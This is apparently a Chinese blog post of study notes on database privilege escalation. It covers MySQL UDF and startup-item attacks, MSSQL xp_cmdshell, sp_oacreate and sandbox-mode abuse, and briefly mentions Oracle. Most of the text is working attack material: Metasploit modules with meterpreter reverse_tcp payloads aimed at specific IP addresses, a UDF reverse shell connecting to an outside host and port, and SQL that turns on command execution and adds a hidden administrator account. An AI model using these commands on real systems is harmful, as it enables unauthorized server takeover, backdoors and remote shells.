数据库提权(一)
获取数据库最高权限用户名、密码
1.SQL注入获取最高权限
2.webshell后查找与用户相关的文件
3.查找源码中的数据库配置文件
MYSQL提权
1.UDF提权
1.先获取数据库版本和安装目录
select version()
select @@basedir
2. <5.2 导出目录C:/windows或system32
>=5.2 导出目录:安装目录/lib/plugin/
-
使用MSF进行UDF提权
提权前先开启外连:
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
msf 导出dll文件、提权
-
将dll文件绑定在一个函数名上,调用函数来实现远程执行命令。
总过程代码:
MSF:(前提先开外链)
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run
Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll
select sys_eval("whoami");//调用函数进行命令执行
2.启动项提权
利用msf模块实现后门的写入,当目标重启后,后门自动执行。
总代码:
MSF:(前提先开外链)
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
run
3.反弹Shell
总代码:
https://blog.csdn.net/weixin_43801718/article/details/105493042
use mysql;
set @a=concat('',
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';
select backshell('47.94.236.117',7788)
4.MOF提权(成功率不高)
MSQQL提权
xp_cmdshell&sp_oacreate&沙盒
xp-shell
EXEC master.dbo.xp_cmdshell '命令'
关于功能的开启和关闭:
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
sp_oacreate
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
沙盒模式
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在access模式下
3
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
oracle提权
在相关jsp文件中获取到账号,密码,利用工具的三种模式进行权限的判断和提权
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通